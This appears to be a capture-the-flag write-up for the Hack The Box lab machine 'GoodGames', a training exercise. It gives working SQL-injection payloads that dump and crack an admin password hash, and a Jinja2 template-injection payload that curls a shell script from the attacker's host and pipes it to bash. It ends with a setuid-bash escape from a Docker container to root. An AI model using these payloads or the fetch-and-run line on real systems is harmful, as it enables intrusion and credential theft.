HTB GoodGames

$ nmap -sV -p- goodgames.htb --min-rate 5000

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-11 23:28 CET
Nmap scan report for goodgames.htb (10.10.11.130)
Host is up (0.044s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.95 seconds

http://goodgames.htb/

We can test if this site is vulnerable to an SQL Injection.

If we just add a ', we can reach the login page with a registration form.

http://internal-administration.goodgames.htb/

We don’t have credentials for this site, but as we’ve confirmed there is an sql injection let’s try to exploit it.

First, we need to know how many columns exist.

email=admin%40test.com' order by 100 -- &password=admin
Content-Length: 33490

email=admin%40test.com' order by 50 -- &password=admin
Content-Length: 33490

email=admin%40test.com' order by 25 -- &password=admin
Content-Length: 33490

email=admin%40test.com' order by 10 -- &password=admin
Content-Length: 33490

email=admin%40test.com' order by 5 -- &password=admin
Content-Length: 33490

email=admin%40test.com' order by 4 -- &password=admin
Content-Length: 9267

email=admin%40test.com' union all select 1,2,3,4 -- &password=admin

...
<h2 class="h4">Welcome 4</h2>
...

email=admin%40test.com' union all select 1,2,3,database() -- &password=admin

...
<h2 class="h4">Welcome main</h2>
...

Current db name is main.

List dabases:

email=admin%40test.com' union all select 1,2,3,schema_name FROM information_schema.schemata-- &password=admin

...
<h2 class="h4">Welcome information_schemamain</h2>
...

Then, there are 2 databases:

  • information_schema
  • main

email=admin%40test.com' union all select 1,2,3,table_name FROM information_schema.tables-- &password=admin

...
<h2 class="h4">Welcome ADMINISTRABLE_ROLE_AUTHORIZATIONSAPPLICABLE_ROLESCHARACTER_SETSCHECK_CONSTRAINTSCOLLATIONSCOLLATION_CHARACTER_SET_APPLICABILITYCOLUMNSCOLUMNS_EXTENSIONSCOLUMN_PRIVILEGESCOLUMN_STATISTICSENABLED_ROLESENGINESEVENTSFILESINNODB_BUFFER_PAGEINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_POOL_STATSINNODB_CACHED_INDEXESINNODB_CMPINNODB_CMPMEMINNODB_CMPMEM_RESETINNODB_CMP_PER_INDEXINNODB_CMP_PER_INDEX_RESETINNODB_CMP_RESETINNODB_COLUMNSINNODB_DATAFILESINNODB_FIELDSINNODB_FOREIGNINNODB_FOREIGN_COLSINNODB_FT_BEING_DELETEDINNODB_FT_CONFIGINNODB_FT_DEFAULT_STOPWORDINNODB_FT_DELETEDINNODB_FT_INDEX_CACHEINNODB_FT_INDEX_TABLEINNODB_INDEXESINNODB_METRICSINNODB_SESSION_TEMP_TABLESPACESINNODB_TABLESINNODB_TABLESPACESINNODB_TABLESPACES_BRIEFINNODB_TABLESTATSINNODB_TEMP_TABLE_INFOINNODB_TRXINNODB_VIRTUALKEYWORDSKEY_COLUMN_USAGEOPTIMIZER_TRACEPARAMETERSPARTITIONSPLUGINSPROCESSLISTPROFILINGREFERENTIAL_CONSTRAINTSRESOURCE_GROUPSROLE_COLUMN_GRANTSROLE_ROUTINE_GRANTSROLE_TABLE_GRANTSROUTINESSCHEMATASCHEMATA_EXTENSIONSSCHEMA_PRIVILEGESSTATISTICSST_GEOMETRY_COLUMNSST_SPATIAL_REFERENCE_SYSTEMSST_UNITS_OF_MEASURETABLESTABLESPACESTABLESPACES_EXTENSIONSTABLES_EXTENSIONSTABLE_CONSTRAINTSTABLE_CONSTRAINTS_EXTENSIONSTABLE_PRIVILEGESTRIGGERSUSER_ATTRIBUTESUSER_PRIVILEGESVIEWSVIEW_ROUTINE_USAGEVIEW_TABLE_USAGEblogblog_commentsuser</h2>
...

There is a user table.

email=admin%40test.com' union all select 1,2,3,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'user' -- &password=admin

...
<h2 class="h4">Welcome id,email,password,name</h2>
...

email=admin%40test.com' union all select 1,2,3,GROUP_CONCAT(name,email,password) from user -- &password=admin

...
<h2 class="h4">Welcome adminadmin@goodgames.htb2b22337f218b2d82dfc3b6f77e7cb8ec,ZAPfoo-bar@example.com903a98d709fa4683aaaa036b84c125a6,obitoobito@obito.nla68a78bef839eb1f4e2e9ff8459944c0</h2>
...

There are some users.

The one that we are interested in is admin.

user = admin 
email = admin@goodgames.htb
password = 2b22337f218b2d82dfc3b6f77e7cb8ec

$ cat admin.hash | hash-identifier admin.hash

...
--------------------------------------------------

 Not Found.
--------------------------------------------------
 HASH: 
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
...

It is possible an MD5 hash.
Let’s try to crack the password.

$ john --wordlist=/usr/share/wordlists/rockyou.txt admin.hash

...
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5"
Use the "--format=Raw-MD5" option to force loading these as that type instead
....

Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 2 password hashes with no different salts (LM [DES 128/128 AVX])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 DONE (2022-03-12 13:20) 0g/s 8563Kp/s 8563Kc/s 17126KC/s !!1QWER..*7¡VA
Session completed. 

Using –format=Raw-MD5 type.

$ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt admin.hash

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
superadministrator (?)     
1g 0:00:00:00 DONE (2022-03-12 13:21) 6.666g/s 23174Kp/s 23174Kc/s 23174KC/s superarely1993..super_haven
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

so, the password is superadministrator.

We can also see that these credentials are also valid to login into http://goodgames.htb/

http://internal-administration.goodgames.htb/settings

Using an <h1>test</h1> as name seems to work fine.

And using <script>alert(1)</script> as name we got:

Based on https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection

Using {{7*'7'}} as name we have:

We’re facing a Jinja2 engine, so

we can use a payload like this:

{{ cycler.__init__.__globals__.os.popen('id').read() }}

and we get:

if now we check with {{ cycler.__init__.__globals__.os.popen("hostname -i").read() }} the IP of the machine we get:

We realise that we are not in the Goodgames box, it is a Docker container inside the box.

$ nano shell.html
$ python3 -m http.server

We can also use a payload as {{ cycler.__init__.__globals__.os.popen('curl http://10.10.14.31:8000/shell.html').read() }}

And now if we process it with bash, {{ cycler.__init__.__globals__.os.popen('curl http://10.10.14.31:8000/shell.html | bash').read() }}

Let’s improve our tty:

script /dev/null -c bash 
CRTL+Z 
stty raw -echo;fg 
reset 
terminal type: xterm 
export TERM=xterm 
export SHELL=bash 
stty rows 51 columns 198 

root@3a453ab39d3d:/backend# cat requirements.txt

flask==2.0.1
flask_login==0.5.0
flask_migrate==3.1.0
flask_wtf==0.15.1
flask_sqlalchemy==2.5.1
sqlalchemy==1.4.23
email_validator==1.1.3
python-decouple==3.4
gunicorn==20.1.0
jinja2==3.0.1
flask-restx==0.5.1

root@3a453ab39d3d:/backend# cd
root@3a453ab39d3d:~# cd /home
root@3a453ab39d3d:/home# ls

augustus

root@3a453ab39d3d:/home# ls -la

total 12
drwxr-xr-x 1 root root 4096 Nov  5 15:23 .
drwxr-xr-x 1 root root 4096 Nov  5 15:23 ..
drwxr-xr-x 2 1000 1000 4096 Dec  2 23:51 augustus

root@3a453ab39d3d:/home# cd augustus
root@3a453ab39d3d:/home/augustus# ls

user.txt

root@3a453ab39d3d:/home/augustus# cat user.txt

da46XXXXXXXXXXXXXXXXXXXXXXXXXXXX

root@3a453ab39d3d:/backend# ls -la

total 28
drwxr-xr-x 1 root root 4096 Nov  5 15:23 .
drwxr-xr-x 1 root root 4096 Nov  5 15:23 ..
-rw-r--r-- 1 root root  122 Nov  3 10:07 Dockerfile
drwxr-xr-x 1 root root 4096 Nov  3 17:37 project
-rw-r--r-- 1 root root  208 Nov  3 10:07 requirements.txt

root@3a453ab39d3d:/backend# ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
       valid_lft forever preferred_lft forever

box IP = 172.19.0.2

root@3a453ab39d3d:/home# ls -la

total 12
drwxr-xr-x 1 root root 4096 Nov  5 15:23 .
drwxr-xr-x 1 root root 4096 Nov  5 15:23 ..
drwxr-xr-x 2 1000 1000 4096 Dec  2 23:51 augustus

root@3a453ab39d3d:/# mount

...
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
...

root@3a453ab39d3d:/# nmap

bash: nmap: command not found

172.19.0.1 is usually the Docker’s gateway IP, so we can target it.

As there is no nmap or nc, we can do a quick port scan with this:

root@3a453ab39d3d:~# for p in seq 1 100; do timeout 1 echo 2>/dev/null > /dev/tcp/172.19.0.1/$p && echo "Port $p open" & done; wait

...
[78] 9980
[79] 9981
[80] 9982
[81] 9983
[82] 9984
[83] 9985
[84] 9986
[85] 9987
[86] 9988
Port 22 open
Port 80 open
[87] 10050
[88] 10051
[89] 10052
[90] 10053
...

So, port 22 and 80 are open.

root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1

The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password: superadministrator

Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

augustus@GoodGames:~$ ls

user.txt

augustus@GoodGames:~$ ls -la

total 24
drwxr-xr-x 2 augustus augustus 4096 Dec  2 23:51 .
drwxr-xr-x 3 root     root     4096 Oct 19 12:16 ..
lrwxrwxrwx 1 root     root        9 Nov  3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus  220 Oct 19 12:16 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 12:16 .bashrc
-rw-r--r-- 1 augustus augustus  807 Oct 19 12:16 .profile
-rw-r----- 1 root     augustus   33 Mar 20 18:52 user.txt

augustus@GoodGames:~$ cp /bin/bash .
augustus@GoodGames:~$ exit

logout
Connection to 172.19.0.1 closed.

root@3a453ab39d3d:/home/augustus# ls -la

total 1232
drwxr-xr-x 2 1000 1000    4096 Mar 20 18:59 .
drwxr-xr-x 1 root root    4096 Nov  5 15:23 ..
lrwxrwxrwx 1 root root       9 Nov  3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000     220 Oct 19 11:16 .bash_logout
-rw-r--r-- 1 1000 1000    3526 Oct 19 11:16 .bashrc
-rw-r--r-- 1 1000 1000     807 Oct 19 11:16 .profile
-rwxr-xr-x 1 1000 1000 1234376 Mar 20 18:59 bash
-rw-r----- 1 root 1000      33 Mar 20 18:52 user.txt

root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4755 bash
root@3a453ab39d3d:/home/augustus# ls -la

total 1232
drwxr-xr-x 2 1000 1000    4096 Mar 20 18:59 .
drwxr-xr-x 1 root root    4096 Nov  5 15:23 ..
lrwxrwxrwx 1 root root       9 Nov  3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000     220 Oct 19 11:16 .bash_logout
-rw-r--r-- 1 1000 1000    3526 Oct 19 11:16 .bashrc
-rw-r--r-- 1 1000 1000     807 Oct 19 11:16 .profile
-rwsr-xr-x 1 root root 1234376 Mar 20 18:59 bash
-rw-r----- 1 root 1000      33 Mar 20 18:52 user.txt

root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1

Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 20 18:58:49 2022 from 172.19.0.2

augustus@GoodGames:~$ ls -la

total 1232
drwxr-xr-x 2 augustus augustus    4096 Mar 20 18:59 .
drwxr-xr-x 3 root     root        4096 Oct 19 12:16 ..
-rwsr-xr-x 1 root     root     1234376 Mar 20 18:59 bash
lrwxrwxrwx 1 root     root           9 Nov  3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus     220 Oct 19 12:16 .bash_logout
-rw-r--r-- 1 augustus augustus    3526 Oct 19 12:16 .bashrc
-rw-r--r-- 1 augustus augustus     807 Oct 19 12:16 .profile
-rw-r----- 1 root     augustus      33 Mar 20 18:52 user.txt

augustus@GoodGames:~$ ./bash -p

bash-5.1#

bash-5.1# id

uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)

bash-5.1# ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:59:7b brd ff:ff:ff:ff:ff:ff
    inet 10.10.11.130/24 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:597b/64 scope global dynamic mngtmpaddr 
       valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:feb9:597b/64 scope link 
       valid_lft forever preferred_lft forever
...

bash-5.1# cd /root
bash-5.1# ls

root.txt

bash-5.1# cat root.txt

5adbXXXXXXXXXXXXXXXXXXXXXXXXXXXX